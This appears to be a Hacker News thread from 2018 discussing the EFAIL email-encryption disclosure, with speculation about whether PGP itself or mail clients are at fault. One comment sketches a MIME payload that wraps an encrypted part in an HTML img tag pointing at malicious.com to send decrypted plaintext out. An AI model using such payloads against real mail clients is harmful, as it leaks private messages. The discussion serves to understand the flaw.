Response by Werner Koch (GPG), contains some details:<p><a href="https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060315.html" rel="nofollow">https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...</a>
Here's a guess at what the "attack" might look like.<p>First, you need to know that each MIME email is made up of a series of subcomponents, which the email client interprets and concatenates. One subcomponent could be PGP encrypted while the next is not.<p>So given an old email where message X was encrypted to form a component Encr(X), simply write a new email of the form:<p><pre><code> Part 1: <img src=http://malicious.com/?q="
Part 2: Encr(X)
Part 3: "></code></pre>
Then the client might decrypt this to the message <img src="http: //malicious.com/?q=X">. Which is fine until the email client decides to automatically execute any code it happens to be given in an email, in this case, load the image.<p>To be clear, I doubt very much that this is the attack, but it sounds like it's along these lines.
What about Keybase[1] app, and Autocrypt[2],PEP[3]?
Even dough Keybase is not email client, it can be used to continue to communicate with users that have PGP/GPG keys, over their app.
And Autocrypt is Thunderbird extension, and PEP is for Outlook and Android.<p><a href="https://mastodon.social/web/statuses/100026482838593277" rel="nofollow">https://mastodon.social/web/statuses/100026482838593277</a><p>[1]: <a href="https://keybase.io/" rel="nofollow">https://keybase.io/</a><p>[2]: <a href="https://autocrypt.org/" rel="nofollow">https://autocrypt.org/</a><p>[3]: <a href="https://www.pep.security/" rel="nofollow">https://www.pep.security/</a>
Given that they recommend against decrypting any email, it sounds like the bug is some sort of remote-code-execution against the decryption step, that would then allow (among ~anything else) exfiltration of keys, ciphertexts, and plaintexts.<p>EDIT: Having read a bit more I'm not so convinced that this explanation makes sense.
I've always handled PGP via cut-and-paste of the ascii armored block, through a text file on a ramdisk (or between systems), then using command-line pgp or gpg to decrypt, and the reverse. Not always on a VM or machine without external network access, but for signing keys for software and stuff, yes. It just seemed too easy to mess up auto-decrypt/auto-encrypt and accidentally send out cleartext -- the cut and paste or textfile intermediate step makes it verifiable.<p>Unless there's a protocol bug where the message itself can include "dump the secret key to a public keyserver on decrypt", I'm not too worried.<p>(I also don't use PGP for routine communications, because it's so inconvenient to use it, and due to lack of a good mobile solution. Signal, or for routine email, tls to a mail server I control is fine too.)
"They figured out mail clients which don't properly check for decryption errors and also follow links in HTML mails. So the vulnerability is in the mail clients and not in the protocols. In fact OpenPGP is immune if used correctly while S/MIME has no deployed mitigation."<p>- by GnuPG (<a href="https://twitter.com/gnupg/status/995931083584757760" rel="nofollow">https://twitter.com/gnupg/status/995931083584757760</a>)
> Our advice, which mirrors that of the researchers, is to immediately disable and/or uninstall tools that automatically decrypt PGP-encrypted email.<p>This advice strongly suggests a side-channel attack, not anything which affects encrypted data at rest. The worst case is that PGP has a remote code execution vulnerability in the decryption step.
This doesn't make sense.<p>PGP is encryption software, whereas S/MIME is an encryption standard.<p>It's like saying that a vulnerability affetcts users of OpenSSL and RSA.
This seems way overblown. An in-depth explanation Werner as to why this is most likely not an issue if you're GPG is > 2.1.9 [1]<p>An (older) example of expected behaviour [2].<p>[1] <a href="https://lists.gnupg.org/pipermail/gnupg-users/2018-May/060320.html" rel="nofollow">https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06032...</a>
[2] <a href="https://sourceforge.net/p/enigmail/bugs/538/#43ff" rel="nofollow">https://sourceforge.net/p/enigmail/bugs/538/#43ff</a>
<i>"Due to our embargo being broken, here are the full details of the #efail attacks. <a href="https://efail.de/" rel="nofollow">https://efail.de/</a> "</i><p><a href="https://twitter.com/seecurity/status/995964977461776385" rel="nofollow">https://twitter.com/seecurity/status/995964977461776385</a><p>Discussion <a href="https://news.ycombinator.com/item?id=17064129" rel="nofollow">https://news.ycombinator.com/item?id=17064129</a>
I'm a little confused. Is this an attack on the PGP protocol or just an attack on the software implementation of PGP?<p>The advice they give seems to indicate that somehow a well-crafted payload can expose the secret PGP key from "tools that automatically decrypt PGP-encrypted email."<p>This seems to me that it is an implementation-level attack and not a protocol attack on the basis for PGP. Is anyone else getting that same thought?
From an essay I wrote in 2015 on "Why Encryption Use Is Problematical When Advocating For Social Change": <a href="http://pdfernhout.net/why-encryption-use-is-problematical-when-advocating-for-social-change.html" rel="nofollow">http://pdfernhout.net/why-encryption-use-is-problematical-wh...</a>
"In general, a system intended to ensure private communications is only as secure as its weakest link. If any of these levels is compromised (hardware, firmware, OS, application, algorithm theory, algorithm implementation, user error, user loyalty, etc.) then your communications are compromised. ... If you want to build a mass movement, at some point, you need to engage people. In practice, for social psychology reasons, engaging people is very difficult, if not impossible, to do completely anonymously in an untraceable way. People have historically built mass movements without computers or the internet. It's not clear if the internet really makes this easier for activists or instead just for the status quo who wants to monitor them. If you work in public, you don't have to fear loss of secure communications because you never structure your movement to rely on them. If you rely on "secure" communications, then you may set yourself up to fail when such communications are compromised. If your point is to build a mass movement, then where should your focus be? ..."
I wouldn't be surprised if this is either:<p>1. A bug in a library any pgp implementation uses, likely allowing even remote code execution<p>2. A bad Interaktion with some other mail "extension"* e.g. external bodies<p>*With extension I mean anything added to mail in a later rfc, which isn't really an extension in the classical sense but I'm not sure what to call it otherwise
Ok, healthcare messaging in US is based on S/MIME (<a href="http://wiki.directproject.org/" rel="nofollow">http://wiki.directproject.org/</a>). According to EFF, it should be shut down now?
Yeah that sounds pretty bad. It is possibly some injection attack since it mentions automatic decryption of PGP. Or maybe some fundamental flaw in the formats... How exciting!
I think PGP should implement a centralized auto-update mechanism so that software can disable itself in cases as severe as listed (with advice to "immediately disable and/or uninstall tools that automatically decrypt PGP-encrypted email").<p>[I've removed an earlier longer version of this comment.]